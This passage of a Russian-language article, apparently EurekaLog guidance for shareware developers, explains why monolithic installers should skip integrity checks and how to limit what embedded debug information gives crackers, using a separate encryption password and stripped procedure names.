Кстати, если вы пишете свой собственный установщик, то вы, вероятно, не захотите делать его в виде одного файла и при этом снабжать его какой-либо проверкой целостности (проверка от EL, файлового компрессора или цифровой подписи). Почему? Ну, представьте себе, что у вас получился установщик на 200 Мб в одном монолитном exe-файле. Ваш клиент запускает его. Какой-бы механизм проверки вы не использовали бы, он проверяет целостность ВСЕГО файла при запуске. А сканирование 200 Мб с вычислением CRC займёт немало времени! Пользователь даже может решить, что ваше приложение повисло. Намного лучше сделать установщик в виде (минимум) двух-файлового дистрибутива (маленький установщик и большой архив с данными) или же выключить проверки для установщика.

И напоследок: помните, что даже цифровые подписи - это всего лишь вспомогательных механизм для конечных пользователей, помогающий им убедиться в подлинности программы, но это не является защитой от взломщика! Цифровая подпись на программе может только уверить пользователя, что файл не был модифицирован и что он пришёл от разработчика программы, а не от хакера. Она не защищает ваше приложение от взлома, поскольку ничто не мешает взломщику просто снять цифровую подпись.

2. Отладочная информация: За и Против.

Другой важной особенностью для разработчика shareware программ является хранение отладочной информации. EurekaLog добавляет отладочную информацию в ваши программы, чтобы помочь вам быстрее находить причину сбоев. Показ информации стека вызовов работает на основе отладочной информации. По-умолчанию, отладочная информация включается только в dcu-файлы и не идёт в готовый исполняемый модуль. Но без неё невозможно показать правильный стек вызова с именами функций, методов и номерами строк. Поэтому EurekaLog собирает всю отладочную информацию после компиляции и прикрепляет её к вашей программе в виде ресурса.

Отладочная информация при этом хранится не в текстовом виде, а в сжатом и зашифрованном. Но поскольку пароль (пустой) храниться в самой же программе - то ничто не мешает взломщику расшифровать вашу отладочную информацию и воспользоваться ею. Что он может с этого получить? Ну, отладочная информация содержит имена модулей, классов, методов, процедур и функций, а также номера строк и смещения от начала функции. Она не содержит вашего исходного кода, но, действительно, может дать ценную информацию.

Из-за этого, очень частым вопросом является такой: “верно ли, что программы, скомпилированные с EurekaLog легче взломать?”.

Ну, это зависит от настроек.

Давайте посмотрим каких.

Да, это правда, что простое включение в свою программу отладочной информации МОЖЕТ упростить взлом. Но это не означает, что крек появится автоматически. Взломщику по-прежнему нужно изучать вашу защиту, чтобы найти к ней лазейку, и если ваша защита написана хорошо, то она не содержится в отдельно выделенных специальных функциях, а, скорее, размазана по всему коду. Поэтому, если в вашем коде нет специально выделенных “подпрограмм защиты”, то и чтение отладочной информации не даст о них никакой информации (а даже если вы всё же завели себе такие - просто дайте им ничего не говорящие имена).

В любом случае, даже если бы отладочная информация включалась бы в виде текста (а это не так, даже, если вы не задавали пароль), то она может всего лишь ускорить изучение вашей программы. Она не может предложить способ взлома. С отладочной информацией или без неё - взломщик будет делать одни и те же действия. Таким образом разница между “есть отладочная информация” <> “нет отладочной информации” эквивалентна “крек может появиться раньше” <> “крек может появиться позже”, а не “приложение будет взломано” <> “приложение не будет взломано”.

Хотя вы можете сделать некоторые шаги, препятствующие в получении этого бонуса взломщиком.

Первое: вы можете исключить из отладочной информации некоторые процедуры. Просто оберните свои процедуры в директивы компилятора, переключающие генерацию отладочной информации. НО, опять-таки, взломщик может увидеть “белые пятна” в покрытии кода отладочной информацией (если такая идея придёт ему в голову), так что этот способ может привести его прямо к вашему коду защиты (хорошо для honeypot).

Второе: вы можете защитить отладочную информацию паролем, который не храниться в готовом исполняемом модуле. Для этого вы должны ввести пароль в поле “Encryption password” на вкладке “Advanced options” в опциях проекта EL:

Ввод пароля

Тогда отладочная информация не будет полезна взломщику без пароля (который знаете только вы и он не храниться в программе). Взломщик может только подобрать ваш пароль или забросить отладочную информацию. Ну, вы также не сможете вот так просто просмотреть стек вызовов (и ассемблерный вид) - он также будет зашифрован (кстати, EurekaLog использует TEA - этот широко известный крипто-алгоритм известен своим компактным кодом):

Зашифрованный отчёт

Но зато вы можете загрузить отчёт в EurekaLog Viewer, ввести свой пароль (который вы знаете, а взломщик - нет) и просмотреть уже расшифрованый отчёт.

Третье: если вы действительно волнуетесь, что взломщику удастся подобрать ваш пароль - тогда вы можете пойти ещё дальше и исключить из отладочной информации имена методов, функций и процедур. Вы можете сделать это, включая опцию “Do not store the Class/Procedure names” на всё той же вкладке “Advanced options”:

Исключение имён из отладочной информации

С включенной опцией, в конечную программу попадут только названия модулей и номера строк! Эта информация полностью бесполезна для взломщика. Конечно же, теперь ваши отчёты также не будут содержать эти имена. Но стек вызовов всё ещё будет полезен - он содержит имена модулей и номера строк, что достаточно для идентификации места проблемы, хотя теперь это может быть чуть сложнее.

Посмотреть текст целиком...